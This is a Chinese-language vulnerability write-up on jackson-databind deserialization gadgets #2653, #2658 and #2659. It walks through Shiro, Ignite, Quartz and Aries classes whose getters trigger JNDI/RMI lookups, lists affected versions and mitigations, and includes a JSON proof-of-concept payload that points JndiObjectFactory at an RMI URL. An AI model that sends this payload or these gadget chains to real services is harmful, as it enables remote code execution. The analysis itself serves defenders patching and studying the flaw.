jackson-databind #2653 #2658 #2659 反序列化漏洞分析(暂无cve
powered by UnicodeSec
不受影响的版本
jackson-databind >= 2.9.10.4
jackson-databind >= 2.10.0
如果你的业务中即存在jackson,并且开启了enableDefaultTypeing功能,又存在相关受影响的jar包,请更新jackson最新版。或者使用activatedefaulttyping代替enableDefaultTypeing
可以查询jackson的黑名单过滤列表,分析相关poc,在如下网址
https://github.com/FasterXML/jackson-databind/issues?q=label%3ACVE+is%3Aclosed
#2653 shiro jndi注入
org.apache.shiro.jndi.JndiObjectFactory
该处代码如下
public class JndiObjectFactory<T> extends JndiLocator implements Factory<T> {
private String resourceName;
private Class<? extends T> requiredType;
public T getInstance() {
try {
if(requiredType != null) {
return requiredType.cast(this.lookup(resourceName, requiredType));
} else {
return (T) this.lookup(resourceName);
}
} catch (NamingException e) {
final String typeName = requiredType != null ? requiredType.getName() : "object";
throw new IllegalStateException("Unable to look up " + typeName + " with jndi name '" + resourceName + "'.", e);
}
}
}
我们可以从JndiObjectFactory中看出,getInstance会调用lookup去查找rmi。如果存在requiredType,则转换为相关class,如果不存在就不会强转。JndiObjectFactory继承自JndiLocator,所以我们去JndiLocator的lookup函数继续分析,JndiLocator的lookup代码如下
protected Object lookup(String jndiName, Class requiredType) throws NamingException {
String convertedName = convertJndiName(jndiName);
Object jndiObject;
try {
jndiObject = getJndiTemplate().lookup(convertedName, requiredType);
}
//... 省略不相关代码
return jndiObject;
}
可以很清楚的看到,首先将jndiName转换,然后继续调用getJndiTemplate().lookup函数,getJndiTemplate().lookup的代码如下
public Object lookup(String name, Class requiredType) throws NamingException {
Object jndiObject = lookup(name);
if (requiredType != null && !requiredType.isInstance(jndiObject)) {
String msg = "Jndi object acquired under name '" + name + "' is of type [" +
jndiObject.getClass().getName() + "] and not assignable to the required type [" +
requiredType.getName() + "].";
throw new NamingException(msg);
}
return jndiObject;
}
首先调用lookup,然后根据用户传入的参数,将rmi远程获取的类强制转换为用户提供的requiredType类,假如requiredType为null,则不去强制转换。
lookup函数如下
public Object lookup(final String name) throws NamingException {
log.debug("Looking up JNDI object with name '{}'", name);
return execute(new JndiCallback() {
public Object doInContext(Context ctx) throws NamingException {
Object located = ctx.lookup(name);
if (located == null) {
throw new NameNotFoundException(
"JNDI object with [" + name + "] not found: JNDI implementation returned null");
}
return located;
}
});
}
该处存在典型的jndi注入。用户可以控制lookup的name参数,可以访问恶意rmi服务器去获取带有恶意信息的类。
poc
["org.apache.shiro.jndi.JndiObjectFactory",{"resourceName":"rmi://127.0.0.1:1099/aa"}]
org.apache.shiro.realm.jndi.JndiRealmFactory
首先查看org.apache.shiro.realm.jndi.JndiRealmFactory
的代码
public Collection<Realm> getRealms() throws IllegalStateException {
// ... 省略
for (String name : jndiNames) {
try {
Realm realm = (Realm) lookup(name, Realm.class);
realms.add(realm);
} catch (Exception e) {
throw new IllegalStateException("Unable to look up realm with jndi name '" + name + "'.", e);
}
}
return realms.isEmpty() ? null : realms;
}
可以很明显看出,在getRealms函数中,会调用lookup去作为rmi的参数。而lookup函数,其实就是上一个gadget的lookup函数。poc与上一个类似。
#2658
该楼栋编号有三个gadget
- org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup
- org.apache.ignite.cache.jta.jndi.CacheJndiTmFactory
- org.quartz.utils.JNDIConnectionProvider
org.quartz.utils.JNDIConnectionProvider
在getConnection中存在rmi的lookup函数调用,并且该参数可以通过jackson在反序列化的时候设置
Context ctx = null;
try {
Object ds = this.datasource;
if (ds == null || isAlwaysLookup()) {
ctx = (props != null) ? new InitialContext(props): new InitialContext();
ds = ctx.lookup(url);
if (!isAlwaysLookup()) {
this.datasource = ds;
}
}
其他两个与该处gadget类似,故不再描述
#2659
该漏洞存在与org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory 查看代码中是否存在rmi的lookup引用
public TransactionManager getTransactionManager() {
if (transactionManager == null && tmFromJndi) {
try {
transactionManager = (TransactionManager) new InitialContext().lookup(getTmJndiName());
} catch (Throwable ignored) {
if (LOG.isTraceEnabled()) {
LOG.trace("exception on tmFromJndi: " + getTmJndiName(), ignored);
}
}
}
return transactionManager;
}
在getTransactionManager函数中调用rmi的lookup函数。可以通过jackson去注入恶意参数